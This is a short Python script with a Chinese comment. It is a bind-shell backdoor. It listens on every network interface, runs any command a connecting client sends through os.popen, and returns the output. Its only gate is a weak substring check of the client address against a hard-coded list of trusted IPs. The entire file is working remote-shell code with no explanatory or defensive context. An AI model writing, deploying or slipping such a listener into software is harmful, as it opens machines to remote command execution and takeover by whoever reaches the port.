import socket 
import sys,os 


host = '0.0.0.0' 
port = int(sys.argv[1]) 

#这里写入可以连接的客户端地址
trust = '127.0.0.1，192.168.1.31' 
s = None 
def conn(): 
  for res in socket.getaddrinfo(host,port,socket.AF_UNSPEC,socket.SOCK_STREAM,0,socket.AI_PASSIVE): 
    af,socktype,proto,canonname,sa = res 
    try: 
      s = socket.socket(af,socktype,proto) 
    except OSError as msg: 
      s = None 
      continue 
    try: 
      s.bind(sa) 
      s.listen(1) 
    except OSError as msg: 
      s.close() 
      s = None 
      continue 
    break 
  if s is None: 
    print('could not open socket') 
    sys.exit(1) 

  conn,addr = s.accept() 
  error = 'ok' 
  if str(addr[0]) not in str(trust): 
    error = 'error' 
  print('Connected by',addr) 

  while True: 
    conn.settimeout(5) 
    if error != 'error': 
      data = conn.recv(102400) 
      if not data:break 
      data = data.decode(encoding='utf-8',errors='strict') 
      comm = str(data)+' '+'2>&1' 
      content = os.popen(comm).read() 
      content = content.encode(encoding='utf-8',errors='strict') 
      conn.send(content) 
    else: 
      conn.send(b'not trust address') 
      break 
  conn.close() 

while True: 
  conn()